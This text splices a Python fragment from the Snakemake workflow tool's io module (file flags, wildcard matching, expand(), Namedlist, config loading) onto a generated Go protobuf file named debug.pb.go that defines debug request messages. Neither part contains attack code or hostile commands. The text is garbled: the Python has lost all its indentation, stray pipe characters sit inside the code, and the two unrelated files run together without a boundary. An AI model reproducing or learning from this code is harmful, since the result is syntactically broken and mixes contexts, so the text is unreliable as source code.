for root, dirs, files in os.walk(self.file):
for d in dirs:
lchmod(os.path.join(self.file, d), mode)
for f in files:
lchmod(os.path.join(self.file, f), mode)
lchmod(self.file, mode)
def remove(self, remove_non_empty_dir=False):
if self.is_directory:
remove(self, remove_non_empty_dir=True)
else:
remove(self, remove_non_empty_dir=remove_non_empty_dir)
def touch(self, times=None):
""" times must be 2-tuple: (atime, mtime) """
try:
if self.is_directory:
file = os.path.join(self.file, ".snakemake_timestamp")
# Create the flag file if it doesn't exist
if not os.path.exists(file):
with open(file, "w"):
pass
lutime(file, times) | else:
lutime(self.file, times)
except OSError as e:
if e.errno == 2:
raise MissingOutputException(
"Output file {} of rule {} shall be touched but "
"does not exist.".format(self.file, self.rule.name),
lineno=self.rule.lineno,
snakefile=self.rule.snakefile,
)
else:
raise e
def touch_or_create(self):
try:
self.touch()
except MissingOutputException:
# first create directory if it does not yet exist
dir = self.file if self.is_directory else os.path.dirname(self.file)
if dir:
os.makedirs(dir, exist_ok=True)
# create empty file
file = (
os.path.join(self.file, ".snakemake_timestamp")
if self.is_directory
else self.file
)
with open(file, "w") as f:
pass
def apply_wildcards(self, wildcards, fill_missing=False, fail_dynamic=False):
f = self._file
if self._is_function:
f = self._file(Namedlist(fromdict=wildcards))
# this bit ensures flags are transferred over to files after
# wildcards are applied
file_with_wildcards_applied = IOFile(
apply_wildcards(
f,
wildcards,
fill_missing=fill_missing,
fail_dynamic=fail_dynamic,
dynamic_fill=DYNAMIC_FILL,
),
rule=self.rule,
)
file_with_wildcards_applied.clone_flags(self)
return file_with_wildcards_applied
def get_wildcard_names(self):
return get_wildcard_names(self.file)
def regex(self):
if self._regex is None:
# compile a regular expression
self._regex = re.compile(regex(self.file))
return self._regex
def constant_prefix(self):
first_wildcard = _wildcard_regex.search(self.file)
if first_wildcard:
return self.file[: first_wildcard.start()]
return self.file
def constant_suffix(self):
m = None
for m in _wildcard_regex.finditer(self.file):
pass
last_wildcard = m
if last_wildcard:
return self.file[last_wildcard.end() :]
return self.file
def match(self, target):
return self.regex().match(target) or None
def format_dynamic(self):
return self.replace(DYNAMIC_FILL, "{*}")
def clone_flags(self, other):
if isinstance(self._file, str):
self._file = AnnotatedString(self._file)
if isinstance(other._file, AnnotatedString):
self._file.flags = getattr(other._file, "flags", {}).copy()
if "remote_object" in self._file.flags:
self._file.flags["remote_object"] = copy.copy(
self._file.flags["remote_object"]
)
self.update_remote_filepath()
def clone_remote_object(self, other):
if (
isinstance(other._file, AnnotatedString)
and "remote_object" in other._file.flags
):
self._file.flags["remote_object"] = copy.copy(
other._file.flags["remote_object"]
)
self.update_remote_filepath()
def set_flags(self, flags):
if isinstance(self._file, str):
self._file = AnnotatedString(self._file)
self._file.flags = flags
def __eq__(self, other):
f = other._file if isinstance(other, _IOFile) else other
return self._file == f
def __hash__(self):
return self._file.__hash__()
_double_slash_regex = (
re.compile(r"([^:]//|^//)") if os.path.sep == "/" else re.compile(r"\\\\")
)
_wildcard_regex = re.compile(
r"""
\{
(?=( # This lookahead assertion emulates an 'atomic group'
# which is required for performance
\s*(?P<name>\w+) # wildcard name
(\s*,\s*
(?P<constraint> # an optional constraint
([^{}]+ | \{\d+(,\d+)?\})* # allow curly braces to nest one level
) # ... as in '{w,a{3,5}}'
)?\s*
))\1
\}
""",
re.VERBOSE,
)
def wait_for_files(
files, latency_wait=3, force_stay_on_remote=False, ignore_pipe=False
):
"""Wait for given files to be present in filesystem."""
files = list(files)
def get_missing():
return [
f
for f in files
if not (
f.exists_remote
if (
isinstance(f, _IOFile)
and f.is_remote
and (force_stay_on_remote or f.should_stay_on_remote)
)
else os.path.exists(f)
if not (is_flagged(f, "pipe") and ignore_pipe)
else True
)
]
missing = get_missing()
if missing:
logger.info(
"Waiting at most {} seconds for missing files.".format(latency_wait)
)
for _ in range(latency_wait):
if not get_missing():
return
time.sleep(1)
raise IOError(
"Missing files after {} seconds:\n{}".format(
latency_wait, "\n".join(get_missing())
)
)
def get_wildcard_names(pattern):
return set(match.group("name") for match in _wildcard_regex.finditer(pattern))
def contains_wildcard(path):
return _wildcard_regex.search(path) is not None
def contains_wildcard_constraints(pattern):
return any(match.group("constraint") for match in _wildcard_regex.finditer(pattern))
def remove(file, remove_non_empty_dir=False):
if file.is_remote and file.should_stay_on_remote:
if file.exists_remote:
file.remote_object.remove()
elif os.path.isdir(file) and not os.path.islink(file):
if remove_non_empty_dir:
shutil.rmtree(file)
else:
try:
os.removedirs(file)
except OSError as e:
# skip non empty directories
if e.errno == 39:
logger.info(
"Skipped removing non-empty directory {}".format(e.filename)
)
else:
logger.warning(str(e))
# Remember that dangling symlinks fail the os.path.exists() test, but
# we definitely still want to zap them. try/except is the safest way.
# Also, we don't want to remove the null device if it is an output.
elif os.devnull != str(file):
try:
os.remove(file)
except FileNotFoundError:
pass
def regex(filepattern):
f = []
last = 0
wildcards = set()
for match in _wildcard_regex.finditer(filepattern):
f.append(re.escape(filepattern[last : match.start()]))
wildcard = match.group("name")
if wildcard in wildcards:
if match.group("constraint"):
raise ValueError(
"Constraint regex must be defined only in the first "
"occurence of the wildcard in a string."
)
f.append("(?P={})".format(wildcard))
else:
wildcards.add(wildcard)
f.append(
"(?P<{}>{})".format(
wildcard,
match.group("constraint") if match.group("constraint") else ".+",
)
)
last = match.end()
f.append(re.escape(filepattern[last:]))
f.append("$") # ensure that the match spans the whole file
return "".join(f)
def apply_wildcards(
pattern,
wildcards,
fill_missing=False,
fail_dynamic=False,
dynamic_fill=None,
keep_dynamic=False,
):
def format_match(match):
name = match.group("name")
try:
value = wildcards[name]
if fail_dynamic and value == dynamic_fill:
raise WildcardError(name)
return str(value) # convert anything into a str
except KeyError as ex:
if keep_dynamic:
return "{{{}}}".format(name)
elif fill_missing:
return dynamic_fill
else:
raise WildcardError(str(ex))
return _wildcard_regex.sub(format_match, pattern)
def not_iterable(value):
return (
isinstance(value, str)
or isinstance(value, dict)
or not isinstance(value, collections.abc.Iterable)
)
def is_callable(value):
return (
callable(value)
or (isinstance(value, _IOFile) and value._is_function)
or (isinstance(value, AnnotatedString) and value.callable is not None)
)
class AnnotatedString(str):
def __init__(self, value):
self.flags = dict()
self.callable = value if is_callable(value) else None
def flag(value, flag_type, flag_value=True):
if isinstance(value, AnnotatedString):
value.flags[flag_type] = flag_value
return value
if not_iterable(value):
value = AnnotatedString(value)
value.flags[flag_type] = flag_value
return value
return [flag(v, flag_type, flag_value=flag_value) for v in value]
def is_flagged(value, flag):
if isinstance(value, AnnotatedString):
return flag in value.flags and value.flags[flag]
if isinstance(value, _IOFile):
return flag in value.flags and value.flags[flag]
return False
def get_flag_value(value, flag_type):
if isinstance(value, AnnotatedString) or isinstance(value, _IOFile):
if flag_type in value.flags:
return value.flags[flag_type]
else:
return None
def ancient(value):
"""
A flag for an input file that shall be considered ancient; i.e. its timestamp shall have no effect on which jobs to run.
"""
return flag(value, "ancient")
def directory(value):
"""
A flag to specify that an output is a directory, rather than a file or named pipe.
"""
if is_flagged(value, "pipe"):
raise SyntaxError("Pipe and directory flags are mutually exclusive.")
if is_flagged(value, "remote"):
raise SyntaxError("Remote and directory flags are mutually exclusive.")
if is_flagged(value, "dynamic"):
raise SyntaxError("Dynamic and directory flags are mutually exclusive.")
return flag(value, "directory")
def temp(value):
"""
A flag for an input or output file that shall be removed after usage.
"""
if is_flagged(value, "protected"):
raise SyntaxError("Protected and temporary flags are mutually exclusive.")
if is_flagged(value, "remote"):
raise SyntaxError("Remote and temporary flags are mutually exclusive.")
return flag(value, "temp")
def pipe(value):
if is_flagged(value, "protected"):
raise SyntaxError("Pipes may not be protected.")
if is_flagged(value, "remote"):
raise SyntaxError("Pipes may not be remote files.")
if ON_WINDOWS:
logger.warning("Pipes is not yet supported on Windows.")
return flag(value, "pipe", not ON_WINDOWS)
def temporary(value):
""" An alias for temp. """
return temp(value)
def protected(value):
""" A flag for a file that shall be write protected after creation. """
if is_flagged(value, "temp"):
raise SyntaxError("Protected and temporary flags are mutually exclusive.")
if is_flagged(value, "remote"):
raise SyntaxError("Remote and protected flags are mutually exclusive.")
return flag(value, "protected")
def dynamic(value):
"""
A flag for a file that shall be dynamic, i.e. the multiplicity
(and wildcard values) will be expanded after a certain
rule has been run"""
annotated = flag(value, "dynamic", True)
tocheck = [annotated] if not_iterable(annotated) else annotated
for file in tocheck:
matches = list(_wildcard_regex.finditer(file))
# if len(matches) != 1:
# raise SyntaxError("Dynamic files need exactly one wildcard.")
for match in matches:
if match.group("constraint"):
raise SyntaxError(
"The wildcards in dynamic files cannot be constrained."
)
return annotated
def touch(value):
return flag(value, "touch")
def unpack(value):
return flag(value, "unpack")
def repeat(value, n_repeat):
"""Flag benchmark records with the number of repeats."""
return flag(value, "repeat", n_repeat)
def checkpoint_target(value):
return flag(value, "checkpoint_target")
ReportObject = collections.namedtuple(
"ReportObject", ["caption", "category", "subcategory", "patterns", "htmlindex"]
)
def report(
value, caption=None, category=None, subcategory=None, patterns=[], htmlindex=None
):
"""Flag output file or directory as to be included into reports.
In case of directory, files to include can be specified via a glob pattern (default: *).
Arguments
value -- File or directory.
caption -- Path to a .rst file with a textual description of the result.
category -- Name of the category in which the result should be displayed in the report.
pattern -- Wildcard pattern for selecting files if a directory is given (this is used as
input for snakemake.io.glob_wildcards). Pattern shall not include the path to the
directory itself.
"""
return flag(
value,
"report",
ReportObject(caption, category, subcategory, patterns, htmlindex),
)
def local(value):
"""Mark a file as local file. This disables application of a default remote
provider.
"""
if is_flagged(value, "remote"):
raise SyntaxError("Remote and local flags are mutually exclusive.")
return flag(value, "local")
def expand(*args, **wildcards):
"""
Expand wildcards in given filepatterns.
Arguments
*args -- first arg: filepatterns as list or one single filepattern,
second arg (optional): a function to combine wildcard values
(itertools.product per default)
**wildcards -- the wildcards as keyword arguments
with their values as lists. If allow_missing=True is included
wildcards in filepattern without values will stay unformatted.
"""
filepatterns = args[0]
if len(args) == 1:
combinator = product
elif len(args) == 2:
combinator = args[1]
if isinstance(filepatterns, str) or isinstance(filepatterns, Path):
filepatterns = [filepatterns]
def path_to_str(f):
if isinstance(f, Path):
return str(f)
return f
filepatterns = list(map(path_to_str, filepatterns))
if any(map(lambda f: getattr(f, "flags", {}), filepatterns)):
raise WorkflowError(
"Flags in file patterns given to expand() are invalid. "
"Flags (e.g. temp(), directory()) have to be applied outside "
"of expand (e.g. 'temp(expand(\"plots/{sample}.pdf\", sample=SAMPLES))')."
)
# check if remove missing is provided
format_dict = dict
if "allow_missing" in wildcards and wildcards["allow_missing"] is True:
class FormatDict(dict):
def __missing__(self, key):
return "{" + key + "}"
format_dict = FormatDict
# check that remove missing is not a wildcard in the filepatterns
for filepattern in filepatterns:
if "allow_missing" in re.findall(r"{([^}\.[!:]+)", filepattern):
format_dict = dict
break
# remove unused wildcards to avoid duplicate filepatterns
wildcards = {
filepattern: {
k: v
for k, v in wildcards.items()
if k in re.findall(r"{([^}\.[!:]+)", filepattern)
}
for filepattern in filepatterns
}
def flatten(wildcards):
for wildcard, values in wildcards.items():
if isinstance(values, str) or not isinstance(
values, collections.abc.Iterable
):
values = [values]
yield [(wildcard, value) for value in values]
formatter = string.Formatter()
try:
return [
formatter.vformat(filepattern, (), comb)
for filepattern in filepatterns
for comb in map(format_dict, combinator(*flatten(wildcards[filepattern])))
]
except KeyError as e:
raise WildcardError("No values given for wildcard {}.".format(e))
def multiext(prefix, *extensions):
"""Expand a given prefix with multiple extensions (e.g. .txt, .csv, _peaks.bed, ...)."""
if any((r"/" in ext or r"\\" in ext) for ext in extensions):
raise WorkflowError(
r"Extensions for multiext may not contain path delimiters " r"(/,\)."
)
return [flag(prefix + ext, "multiext", flag_value=prefix) for ext in extensions]
def limit(pattern, **wildcards):
"""
Limit wildcards to the given values.
Arguments:
**wildcards -- the wildcards as keyword arguments
with their values as lists
"""
return pattern.format(
**{
wildcard: "{{{},{}}}".format(wildcard, "|".join(values))
for wildcard, values in wildcards.items()
}
)
def glob_wildcards(pattern, files=None, followlinks=False):
"""
Glob the values of the wildcards by matching the given pattern to the filesystem.
Returns a named tuple with a list of values for each wildcard.
"""
pattern = os.path.normpath(pattern)
first_wildcard = re.search("{[^{]", pattern)
dirname = (
os.path.dirname(pattern[: first_wildcard.start()])
if first_wildcard
else os.path.dirname(pattern)
)
if not dirname:
dirname = "."
names = [match.group("name") for match in _wildcard_regex.finditer(pattern)]
Wildcards = collections.namedtuple("Wildcards", names)
wildcards = Wildcards(*[list() for name in names])
pattern = re.compile(regex(pattern))
if files is None:
files = (
os.path.normpath(os.path.join(dirpath, f))
for dirpath, dirnames, filenames in os.walk(
dirname, followlinks=followlinks
)
for f in chain(filenames, dirnames)
)
for f in files:
match = re.match(pattern, f)
if match:
for name, value in match.groupdict().items():
getattr(wildcards, name).append(value)
return wildcards
def update_wildcard_constraints(
pattern, wildcard_constraints, global_wildcard_constraints
):
"""Update wildcard constraints
Args:
pattern (str): pattern on which to update constraints
wildcard_constraints (dict): dictionary of wildcard:constraint key-value pairs
global_wildcard_constraints (dict): dictionary of wildcard:constraint key-value pairs
"""
def replace_constraint(match):
name = match.group("name")
constraint = match.group("constraint")
newconstraint = wildcard_constraints.get(
name, global_wildcard_constraints.get(name)
)
if name in examined_names:
return match.group(0)
examined_names.add(name)
# Don't override if constraint already set
if constraint is not None:
return match.group(0)
# Only update if a new constraint has actually been set
elif newconstraint is not None:
return "{{{},{}}}".format(name, newconstraint)
else:
return match.group(0)
examined_names = set()
updated = _wildcard_regex.sub(replace_constraint, pattern)
# inherit flags
if isinstance(pattern, AnnotatedString):
updated = AnnotatedString(updated)
updated.flags = dict(pattern.flags)
return updated
def split_git_path(path):
file_sub = re.sub(r"^git\+file:/+", "/", path)
(file_path, version) = file_sub.split("@")
file_path = os.path.realpath(file_path)
root_path = get_git_root(file_path)
if file_path.startswith(root_path):
file_path = file_path[len(root_path) :].lstrip("/")
return (root_path, file_path, version)
def get_git_root(path):
"""
Args:
path: (str) Path a to a directory/file that is located inside the repo
Returns:
path to root folder for git repo
"""
import git
try:
git_repo = git.Repo(path, search_parent_directories=True)
return git_repo.git.rev_parse("--show-toplevel")
except git.exc.NoSuchPathError:
tail, head = os.path.split(path)
return get_git_root_parent_directory(tail, path)
def get_git_root_parent_directory(path, input_path):
"""
This function will recursively go through parent directories until a git
repository is found or until no parent directories are left, in which case
a error will be raised. This is needed when providing a path to a
file/folder that is located on a branch/tag no currently checked out.
Args:
path: (str) Path a to a directory that is located inside the repo
input_path: (str) origin path, used when raising WorkflowError
Returns:
path to root folder for git repo
"""
import git
try:
git_repo = git.Repo(path, search_parent_directories=True)
return git_repo.git.rev_parse("--show-toplevel")
except git.exc.NoSuchPathError:
tail, head = os.path.split(path)
if tail is None:
raise WorkflowError(
"Neither provided git path ({}) ".format(input_path)
+ "or parent directories contain a valid git repo."
)
else:
return get_git_root_parent_directory(tail, input_path)
def git_content(git_file):
"""
This function will extract a file from a git repository, one located on
the filesystem.
Expected format is git+file:///path/to/your/repo/path_to_file@@version
Args:
env_file (str): consist of path to repo, @, version and file information
Ex: git+file:////home/smeds/snakemake-wrappers/bio/fastqc/[email protected]
Returns:
file content or None if the expected format isn't meet
"""
import git
if git_file.startswith("git+file:"):
(root_path, file_path, version) = split_git_path(git_file)
return git.Repo(root_path).git.show("{}:{}".format(version, file_path))
else:
raise WorkflowError(
"Provided git path ({}) doesn't meet the "
"expected format:".format(git_file) + ", expected format is "
"git+file://PATH_TO_REPO/PATH_TO_FILE_INSIDE_REPO@VERSION"
)
def strip_wildcard_constraints(pattern):
"""Return a string that does not contain any wildcard constraints."""
def strip_constraint(match):
return "{{{}}}".format(match.group("name"))
return _wildcard_regex.sub(strip_constraint, pattern)
class Namedlist(list):
"""
A list that additionally provides functions to name items. Further,
it is hashable, however the hash does not consider the item names.
"""
def __init__(
self,
toclone=None,
fromdict=None,
plainstr=False,
strip_constraints=False,
custom_map=None,
):
"""
Create the object.
Arguments
toclone -- another Namedlist that shall be cloned
fromdict -- a dict that shall be converted to a
Namedlist (keys become names)
"""
list.__init__(self)
self._names = dict()
# white-list of attribute names that can be overridden in _set_name
# default to throwing exception if called to prevent use as functions
self._allowed_overrides = ["index", "sort"]
for name in self._allowed_overrides:
setattr(self, name, functools.partial(self._used_attribute, _name=name))
if toclone:
if custom_map is not None:
self.extend(map(custom_map, toclone))
elif plainstr:
self.extend(map(str, toclone))
elif strip_constraints:
self.extend(map(strip_wildcard_constraints, toclone))
else:
self.extend(toclone)
if isinstance(toclone, Namedlist):
self._take_names(toclone._get_names())
if fromdict:
for key, item in fromdict.items():
self.append(item)
self._add_name(key)
@staticmethod
def _used_attribute(*args, _name, **kwargs):
"""
Generic function that throws an `AttributeError`.
Used as replacement for functions such as `index()` and `sort()`,
which may be overridden by workflows, to signal to a user that
these functions should not be used.
"""
raise AttributeError(
"{_name}() cannot be used; attribute name reserved"
" for use in some existing workflows".format(_name=_name)
)
def _add_name(self, name):
"""
Add a name to the last item.
Arguments
name -- a name
"""
self._set_name(name, len(self) - 1)
def _set_name(self, name, index, end=None):
"""
Set the name of an item.
Arguments
name -- a name
index -- the item index
"""
if name not in self._allowed_overrides and hasattr(self.__class__, name):
raise AttributeError(
"invalid name for input, output, wildcard, "
"params or log: {name} is reserved for internal use".format(name=name)
)
self._names[name] = (index, end)
if end is None:
setattr(self, name, self[index])
else:
setattr(self, name, Namedlist(toclone=self[index:end]))
def _get_names(self):
"""
Get the defined names as (name, index) pairs.
"""
for name, index in self._names.items():
yield name, index
def _take_names(self, names):
"""
Take over the given names.
Arguments
names -- the given names as (name, index) pairs
"""
for name, (i, j) in names:
self._set_name(name, i, end=j)
def items(self):
for name in self._names:
yield name, getattr(self, name)
def _allitems(self):
next = 0
for name, index in sorted(
self._names.items(),
key=lambda item: (
item[1][0],
item[1][0] + 1 if item[1][1] is None else item[1][1],
),
):
start, end = index
if end is None:
end = start + 1
if start > next:
for item in self[next:start]:
yield None, item
yield name, getattr(self, name)
next = end
for item in self[next:]:
yield None, item
def _insert_items(self, index, items):
self[index : index + 1] = items
add = len(items) - 1
for name, (i, j) in self._names.items():
if i > index:
self._names[name] = (i + add, None if j is None else j + add)
elif i == index:
self._set_name(name, i, end=i + len(items))
def keys(self):
return self._names.keys()
def _plainstrings(self):
return self.__class__.__call__(toclone=self, plainstr=True)
def _stripped_constraints(self):
return self.__class__.__call__(toclone=self, strip_constraints=True)
def _clone(self):
return self.__class__.__call__(toclone=self)
def get(self, key, default_value=None):
return self.__dict__.get(key, default_value)
def __getitem__(self, key):
try:
return super().__getitem__(key)
except TypeError:
pass
return getattr(self, key)
def __hash__(self):
return hash(tuple(self))
def __str__(self):
return " ".join(map(str, self))
class InputFiles(Namedlist):
@property
def size(self):
return sum(f.size for f in self)
@property
def size_mb(self):
return self.size / 1024 / 1024
class OutputFiles(Namedlist):
pass
class Wildcards(Namedlist):
pass
class Params(Namedlist):
pass
class Resources(Namedlist):
pass
class Log(Namedlist):
pass
def _load_configfile(configpath_or_obj, filetype="Config"):
"Tries to load a configfile first as JSON, then as YAML, into a dict."
import yaml
if isinstance(configpath_or_obj, str) or isinstance(configpath_or_obj, Path):
obj = open(configpath_or_obj)
else:
obj = configpath_or_obj
try:
with obj as f:
try:
return json.load(f, object_pairs_hook=collections.OrderedDict)
except ValueError:
f.seek(0) # try again
try:
# From https://stackoverflow.com/a/21912744/84349
class OrderedLoader(yaml.Loader):
pass
def construct_mapping(loader, node):
loader.flatten_mapping(node)
return collections.OrderedDict(loader.construct_pairs(node))
OrderedLoader.add_constructor(
yaml.resolver.BaseResolver.DEFAULT_MAPPING_TAG, construct_mapping
)
return yaml.load(f, Loader=OrderedLoader)
except yaml.YAMLError:
raise WorkflowError(
"Config file is not valid JSON or YAML. "
"In case of YAML, make sure to not mix "
"whitespace and tab indentation.".format(filetype)
)
except FileNotFoundError:
raise WorkflowError("{} file {} not found.".format(filetype, configpath))
def load_configfile(configpath):
"Loads a JSON or YAML configfile as a dict, then checks that it's a dict."
config = _load_configfile(configpath)
if not isinstance(config, dict):
raise WorkflowError(
"Config file must be given as JSON or YAML " "with keys at top level."
)
return config
##### Wildcard pumping detection #####
class PeriodicityDetector:
def __init__(self, min_repeat=20, max_repeat=100):
"""
Args:
max_repeat (int): The maximum length of the periodic substring.
min_repeat (int): The minimum length of the periodic substring.
"""
self.min_repeat = min_repeat
self.regex = re.compile(
"((?P<value>.+)(?P=value){{{min_repeat},{max_repeat}}})$".format(
min_repeat=min_repeat - 1, max_repeat=max_repeat - 1
)
)
def is_periodic(self, value):
"""Returns the periodic substring or None if not periodic."""
# short-circuit: need at least min_repeat characters
if len(value) < self.min_repeat:
return None
# short-circuit: need at least min_repeat same characters
last_letter = value[-1]
counter = collections.Counter(value)
if counter[last_letter] < self.min_repeat:
return None
# short-circuit: need at least min_repeat same characters
pos = 2
while (
value[-pos] != last_letter
): # as long as last letter is not seen, repeat length is minimally pos
if (
len(value) < (pos * self.min_repeat)
or counter[value[-pos]] < self.min_repeat
):
return None
pos += 1
# now do the expensive regex
m = self.regex.search(value) # search for a periodic suffix.
if m is not None:
return m.group("value") | |
debug.pb.go | // Code generated by protoc-gen-gogo. DO NOT EDIT.
// source: client/debug/debug.proto
package debug
import (
context "context"
fmt "fmt"
types "github.com/gogo/protobuf/types"
proto "github.com/golang/protobuf/proto"
grpc "google.golang.org/grpc"
codes "google.golang.org/grpc/codes"
status "google.golang.org/grpc/status"
io "io"
math "math"
math_bits "math/bits"
)
// Reference imports to suppress errors if they are not otherwise used.
var _ = proto.Marshal
var _ = fmt.Errorf
var _ = math.Inf
// This is a compile-time assertion to ensure that this generated file
// is compatible with the proto package it is being compiled against.
// A compilation error at this line likely means your copy of the
// proto package needs to be updated.
const _ = proto.ProtoPackageIsVersion2 // please upgrade the proto package
type DumpRequest struct {
// Recursed is true if this request is a recursive call from another request.
// Callers should leave it unset, it's used to prevent infinite loops of
// recursive calls.
Recursed bool `protobuf:"varint,1,opt,name=recursed,proto3" json:"recursed,omitempty"`
XXX_NoUnkeyedLiteral struct{} `json:"-"`
XXX_unrecognized []byte `json:"-"`
XXX_sizecache int32 `json:"-"`
}
func (m *DumpRequest) Reset() { *m = DumpRequest{} }
func (m *DumpRequest) String() string { return proto.CompactTextString(m) }
func (*DumpRequest) ProtoMessage() {}
func (*DumpRequest) Descriptor() ([]byte, []int) {
return fileDescriptor_6d15a320d0127c22, []int{0}
}
func (m *DumpRequest) XXX_Unmarshal(b []byte) error {
return m.Unmarshal(b)
}
func (m *DumpRequest) XXX_Marshal(b []byte, deterministic bool) ([]byte, error) {
if deterministic {
return xxx_messageInfo_DumpRequest.Marshal(b, m, deterministic)
} else {
b = b[:cap(b)]
n, err := m.MarshalTo(b)
if err != nil {
return nil, err
}
return b[:n], nil
}
}
func (m *DumpRequest) XXX_Merge(src proto.Message) {
xxx_messageInfo_DumpRequest.Merge(m, src)
}
func (m *DumpRequest) XXX_Size() int {
return m.Size()
}
func (m *DumpRequest) XXX_DiscardUnknown() {
xxx_messageInfo_DumpRequest.DiscardUnknown(m)
}
var xxx_messageInfo_DumpRequest proto.InternalMessageInfo
func (m *DumpRequest) GetRecursed() bool {
if m != nil {
return m.Recursed
}
return false
}
type ProfileRequest struct {
Profile string `protobuf:"bytes,1,opt,name=profile,proto3" json:"profile,omitempty"`
Duration *types.Duration `protobuf:"bytes,2,opt,name=duration,proto3" json:"duration,omitempty"`
XXX_NoUnkeyedLiteral struct{} `json:"-"`
XXX_unrecognized []byte `json:"-"`
XXX_sizecache int32 `json:"-"`
}
func (m *ProfileRequest) Reset() { *m = ProfileRequest{} }
func (m *ProfileRequest) String() string { return proto.CompactTextString(m) }
func (*ProfileRequest) ProtoMessage() {}
func (*ProfileRequest) Descriptor() ([]byte, []int) {
return fileDescriptor_6d15a320d0127c22, []int{1}
}
func (m *ProfileRequest) XXX_Unmarshal(b []byte) error {
return m.Unmarshal(b)
}
func (m *ProfileRequest) XXX_Marshal(b []byte, deterministic bool) ([]byte, error) {
if deterministic {
return xxx_messageInfo_ProfileRequest.Marshal(b, m, deterministic)
} else {
b = b[:cap(b)]
n, err := m.MarshalTo(b)
if err != nil {
return nil, err
}
return b[:n], nil
}
}
func (m *ProfileRequest) XXX_Merge(src proto.Message) {
xxx_messageInfo_ProfileRequest.Merge(m, src)
}
func (m *ProfileRequest) XXX_Size() int {
return m.Size()
}
func (m *ProfileRequest) XXX_DiscardUnknown() {
xxx_messageInfo_ProfileRequest.DiscardUnknown(m)
}
var xxx_messageInfo_ProfileRequest proto.InternalMessageInfo
func (m *ProfileRequest) GetProfile() string {
if m != nil {
return m.Profile
}
return ""
}
func (m *ProfileRequest) GetDuration() *types.Duration {
if m != nil {
return m.Duration
}
return nil
}
type BinaryRequest struct {
XXX_NoUnkeyedLiteral struct{} `json:"-"`
XXX_unrecognized []byte `json:"-"`
XXX_sizecache int32 `json:"-"`
}
func (m *BinaryRequest) Reset() { *m = BinaryRequest{} }
func (m *BinaryRequest) String() string { return proto.CompactTextString(m) }
func (*BinaryRequest) ProtoMessage() {}
func (*BinaryRequest) Descriptor() ([]byte, []int) {
return fileDescriptor_6d15a320d0127c22, []int{2}
}
func (m *BinaryRequest) XXX_Unmarshal(b []byte) error {
return m.Unmarshal(b)
}
func (m *BinaryRequest) XXX_Marshal(b []byte, deterministic bool) ([]byte, error) {
if deterministic {
return xxx_messageInfo_BinaryRequest.Marshal(b, m, deterministic)
} else {
b = b[:cap(b)]
n, err := m.MarshalTo(b)
if err != nil {
return nil, err
}
return b[:n], nil
}
}
func (m *BinaryRequest) XXX_Merge(src proto.Message) {
xxx_messageInfo_BinaryRequest.Merge(m, src)
}
func (m *BinaryRequest) XXX_Size() int {
return m.Size()
}
func (m *BinaryRequest) XXX_DiscardUnknown() {
xxx_messageInfo_BinaryRequest.DiscardUnknown(m)
}
var xxx_messageInfo_BinaryRequest proto.InternalMessageInfo
func init() {
proto.RegisterType((*DumpRequest)(nil), "debug.DumpRequest")
proto.RegisterType((*ProfileRequest)(nil), "debug.ProfileRequest")
proto.RegisterType((*BinaryRequest)(nil), "debug.BinaryRequest")
}
func init() { proto.RegisterFile("client/debug/debug.proto", fileDescriptor_6d15a320d0127c22) }
var fileDescriptor_6d15a320d0127c22 = []byte{
// 307 bytes of a gzipped FileDescriptorProto
0x1f, 0x8b, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02, 0xff, 0x84, 0x91, 0x4f, 0x4b, 0xc3, 0x30,
0x18, 0xc6, 0x17, 0x71, 0x7f, 0xcc, 0x50, 0x21, 0x28, 0xd4, 0x09, 0x65, 0xf4, 0x34, 0x2f, 0x89,
0x4c, 0x3c, 0x79, 0x90, 0x8d, 0x7e, 0x00, 0xe9, 0xc1, 0x83, 0xb7, 0xb4, 0x7d, 0xd7, 0x15, 0xba,
0x26, 0xa6, 0x09, 0xd2, 0x6f, 0xe2, 0x47, 0xda, 0xd1, 0x8f, 0x20, 0xf5, 0x8b, 0xc8, 0x9a, 0x76,
0x74, 0xec, 0xb0, 0x4b, 0xe9, 0xf3, 0xbe, 0x4f, 0x9e, 0xf7, 0xf7, 0x26, 0xd8, 0x89, 0xb2, 0x14,
0x72, 0xcd, 0x62, 0x08, 0x4d, 0x62, 0xbf, 0x54, 0x2a, 0xa1, 0x05, 0xe9, 0xd7, 0x62, 0xe2, 0x26,
0x42, 0x24, 0x19, 0xb0, 0xba, 0x18, 0x9a, 0x15, 0xfb, 0x52, 0x5c, 0x4a, 0x50, 0x85, 0xb5, 0x1d,
0xf7, 0x63, 0xa3, 0xb8, 0x4e, 0x45, 0x6e, 0xfb, 0xde, 0x03, 0x1e, 0xfb, 0x66, 0x23, 0x03, 0xf8,
0x34, 0x50, 0x68, 0x32, 0xc1, 0x23, 0x05, 0x91, 0x51, 0x05, 0xc4, 0x0e, 0x9a, 0xa2, 0xd9, 0x28,
0xd8, 0x6b, 0x8f, 0xe3, 0xab, 0x37, 0x25, 0x56, 0x69, 0x06, 0xad, 0xdb, 0xc1, 0x43, 0x69, 0x2b,
0xb5, 0xf9, 0x22, 0x68, 0x25, 0x79, 0xc6, 0xa3, 0x76, 0x90, 0x73, 0x36, 0x45, 0xb3, 0xf1, 0xfc,
0x8e, 0x5a, 0x12, 0xda, 0x92, 0x50, 0xbf, 0x31, 0x04, 0x7b, 0xab, 0x77, 0x8d, 0x2f, 0x97, 0x69,
0xce, 0x55, 0xd9, 0x4c, 0x98, 0x6f, 0x11, 0xee, 0xfb, 0xbb, 0x45, 0xc9, 0x0b, 0x3e, 0xdf, 0x81,
0x12, 0x42, 0xed, 0x2d, 0x74, 0xa8, 0x27, 0xf7, 0x47, 0xd9, 0xcb, 0x52, 0x43, 0xf1, 0xce, 0x33,
0x03, 0x5e, 0xef, 0x11, 0x91, 0x05, 0x1e, 0x36, 0xe8, 0xe4, 0xb6, 0x39, 0x7f, 0xb8, 0xca, 0xe9,
0x88, 0x57, 0x3c, 0xb0, 0x68, 0xe4, 0xa6, 0x49, 0x38, 0x20, 0x3d, 0x19, 0xb0, 0x5c, 0x6c, 0x2b,
0x17, 0xfd, 0x54, 0x2e, 0xfa, 0xad, 0x5c, 0xf4, 0xfd, 0xe7, 0xf6, 0x3e, 0x58, 0x92, 0xea, 0xb5,
0x09, 0x69, 0x24, 0x36, 0x4c, 0xf2, 0x68, 0x5d, 0xc6, 0xa0, 0xba, 0x7f, 0x85, 0x8a, 0x58, 0xf7,
0xfd, 0xc3, 0x41, 0x9d, 0xfd, 0xf4, 0x1f, 0x00, 0x00, 0xff, 0xff, 0x93, 0x2d, 0xd0, 0x8a, 0x16,
0x02, 0x00, 0x00,
}
// Reference imports to suppress errors if they are not otherwise used.
